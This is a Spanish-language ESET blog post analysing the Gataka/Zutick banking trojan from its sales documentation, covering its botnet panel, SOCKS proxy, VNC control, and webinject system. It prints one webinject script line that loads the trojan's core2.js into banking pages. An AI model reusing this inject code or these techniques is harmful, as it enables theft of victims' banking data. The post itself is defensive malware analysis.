El siguiente post es una traducción y adaptación realizada por nuestros compañeros del laboratorio de ESET Latinoamérica de la publicación Win32/Gataka – or should we say Zutick? escrita por nuestro colega Jean-Ian Boutin de ESET Norteamérica.
Win32/Gataka es un troyano diseñado para robar información. No es la primera vez que hablamos sobre esta amenaza en el blog, ya que anteriormente habíamos analizado algunos aspectos técnicos en el post Win32/Gataka: ¿Troyano bancario listo para despegar?. Sin embargo, en esta ocasión compartiremos algunos hallazgos nuevos relacionados con este código malicioso. Hace poco, encontramos un post del autor de Gataka en un foro underground donde intentaba vender este troyano. En el mensaje se podía apreciar un archivo de ayuda que detallaba el funcionamiento interno de este malware. A continuación detallaremos los aspectos más interesantes de ese fichero de ayuda.
Primero es importante destacar que el autor de esta amenaza está intentando vender este kit bajo el nombre “Zutick”. El precio que pide es $3,300 dólares tanto por el panel de control como por el constructor. En la documentación explica que este troyano es capaz de funcionar en todas las versiones de Windows (32 y 64 bit) y que no requiere de privilegios administrativos para funcionar adecuadamente. Asimismo, se ofrecen varios complementos que facilitan el robo de información sensible a través de la inyección de código en el navegador web del host infectado. En el texto se afirma que se soportan los principales navegadores: Internet Explorer, Firefox, Chrome, Opera y Safari.
Panel
El panel ofrece varias características para rastrear y administrar esta botnet. Esta amenaza puede enviar automáticamente notificaciones a Jabber sobre las estadísticas de cada ordenador infectado. Entre otras cosas, permite comprobar qué programas están instalados y actualmente ejecutándose en el ordenador zombi. El botmaster tiene el poder de decidir si permite o deniega la ejecución de un proceso en particular a través de listas blancas y negras. Otra característica interesante es que un algoritmo de generación de dominio (DGA – Domain Generation Algorithm) está disponible como un mecanismo de reserva por si las URL del cliente son dadas de baja. El siguiente párrafo describe otras funciones llamativas que fueron encontradas en esta documentación.
Proxy SOCKS
El plugin SOCKS soporta SOCKS4, SOCKS5, y los protocolos HTTP y HTTPS. A través de este componente es posible configurar una shell en la computadora infectada. Las siguientes imágenes explican cómo modificar los parámetros necesarios para hacer funcionar el proxy SOCKS (los comentarios originales estaban en ruso, por lo tanto, ESET los tradujo al inglés para que los lectores puedan entenderlos):
Elección del país del servidor proxy:
Elección del bot exacto:
Administrador de tareas
A través del panel de administración, el botmaster puede enviar comandos a uno o múltiples bots. En la siguiente imagen se aprecia cómo se puede copiar remotamente un archivo en el sistema infectado para posteriormente ejecutarlo:
VNC
Win32/Gataka provee una interfaz gráfica (GUI) para controlar un sistema mediante una sesión VNC. Por ejemplo, puede tomar el control de un navegador del equipo infectado para manipular una sesión segura. Esto le resulta útil al ciberdelincuente para hacerse pasar por el usuario y realizar acciones fraudulentas en su nombre. A continuación aparece una captura en donde se puede apreciar las etapas necesarias para configurar una conexión VNC y la interfaz gráfica utilizada para controlar al host remoto.
Webinjects
Todas las inyecciones web son almacenadas en el centro de comando y control (C&C) y pueden ser enviadas a los bots. La siguiente imagen muestra cómo manejar la importación y envío de inyecciones web al ordenador comprometido.
Lista de inyecciones web activas en el (C&C):
También existe una función especial para convertir cualquier inyección web de Zeus en un formato compatible con Gataka.
La documentación también menciona que existe un motor JavaScript embebido en uno de los plugins.
Esto permite inyecciones web ocultas debido a que los scripts inyectados no se ejecutan mediante el motor del navegador, consiguiendo saltarse los sistemas de seguridad. A través de este plugin, el código JavaScript tiene acceso total a las funcionalidades del bot o plugin. Esta plataforma denominada core2.js, puede ser incluida en cualquier inyección de código web utilizando la siguiente sintaxis:
<script>document.write(“<script type=’text/javascript’ src=’”+window.location.protocol+’//’+window.location.host+
((window.location.protocol.indexOf(‘https’)===-1)?”:88“:”:444“)+
”/tatangakatanga/x.php?cmdid=8&gettype=js&id=core2.js&uid=%_uidpage_%’></scr”+”ipt>”);</script>
A continuación analizamos el modo en que la inyección web puede interactuar con el plugin instalado en el sistema infectado. Nótese la utilización del puerto 80 para el tráfico HTTP y 444 para HTTPS. Esos puertos son analizados por la plataforma principal y pueden ser utilizados para enviar comandos desde JavaScript a la plataforma principal. Mediante esta técnica, se pueden descargar diferentes tipos de contenidos: imágenes, scripts, HTML, etc. El contenido deseado es especificado en el argumento “gettype”. Por otro lado, el argumento “cmdid” puede ser utilizado para especificar otras acciones que deben ser conducidas desde la plataforma principal. La siguiente captura muestra algunas funciones del archivo core2.js del sistema JavaScript.
Como se observa anteriormente, la inyección web puede enviar una instrucción a la plataforma principal para capturar un vídeo del sitio web actual. También puede guardar información en claves del registro para enviarla después. Esta técnica permite que el cibercriminal almacene la cantidad y el número de cuenta que utiliza la víctima durante una transferencia bancaria. Este método aparece en el siguiente archivo de inyección web que fue descargado por una de las campañas que estuvimos analizando en los últimos meses:
Conclusión
Las capacidades de inyección web de este troyano son bastantes interesantes. La idea de tener un módulo JavaScript centralizado para utilizarlo como método de acceso a todas las funcionalidades de la plataforma principal es particularmente llamativo. Continuaremos analizando este código malicioso para detectar nuevos desarrollos.